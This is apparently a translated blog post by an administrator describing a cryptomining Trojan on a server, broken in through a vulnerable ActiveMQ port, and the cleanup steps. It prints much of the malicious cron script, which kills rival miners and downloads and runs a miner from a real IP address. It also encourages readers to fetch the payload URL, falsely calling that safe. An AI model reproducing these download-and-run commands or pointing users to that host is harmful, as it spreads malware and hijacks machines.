Remember that a server was implanted with a mining Trojan and the CPU soared by 200%. The solution process

The online server uses a certain information cloud, which runs Tomcat, MySQL, MongoDB, ActiveMQ and other programs happily and perfectly. Suddenly a piece of bad news came from the front line: the website could not be accessed.

I was in charge of this project. I immediately opened the server at a hand speed of 150+, saw that Tomcat hung up, and then restarted naturally. It was killed directly during the startup process. I tried the database again, but it was also unsuccessful. I tried many times. Even restarting the machine to no avail. I hit the top of the mechanism, and the following appears:

Who is running the program? No matter what, kill it first, because it is the culprit that programs such as Tomcat cannot start. However, there is no use for eggs. After a while, I look at that thing and run out to occupy the CPU. Suspected to be a scheduled task:

What the hell, is it a picture? Immediately visit:

It's embarrassing, but I know it's not so simple, and it must be just a disguise. The crul used to be the following script, and the process is mining:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中间省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

Interested students want to view the above complete source code, and run the following commands on the command line (regardless of operating system, convenient, safe and pollution-free):

curl 192.99.142.235:8220/logo3.jpg

Now that you know it's a scheduled task, cancel it first and see who is running it:

Kill, find the storage directory:

Go to the temporary directory:

I found the configuration file, let's take a look at the content first:

The tiger body was shocked and found a lot of information. The user is the login user of his server. The following is the password. Unfortunately, it has been encrypted, and the other party should not be found. Forget it, generous I won't care about you first. After killing these two files, check the top:

Solution

Find the parasitic directory, usually in tmp, mine is /var/tmp/ . First kill the crontab, kill the process, and then delete the resulting file. Start programs such as Tomcat, and you're done!

 

Wait, this is far from enough. Considering that your server has been hacked before it can be mined , you know what fixes you have done.

Therefore, the above method can cure the symptoms but not the root cause. I have done the following work in the follow-up:

1. Upgrade all software to the new version

2. Modify the default port number of all software

3. Open ssh/authorized_keys, delete unknown keys

4. Delete unfamiliar accounts in the user list

5. Block his ip

6. SSH uses the key to log in and prohibits the password to log in (this is usually the secret key of the operation and maintenance person)

 

By the way, this attack is because the low version ActiveMQ open port 61616 has a vulnerability. Remember to optimize it. Brother Tao provides the best way: mirror the host. Find out the virus Trojan horse and analyze the reason for the invasion. Check business procedures. re-install system. Fix bugs. Then redeploy the system.

 

 

Written at the end, the ultimate solution provided by netizens once and for all:

Hang up your own mining script to run, so that others will not be able to run even if the script is hung up.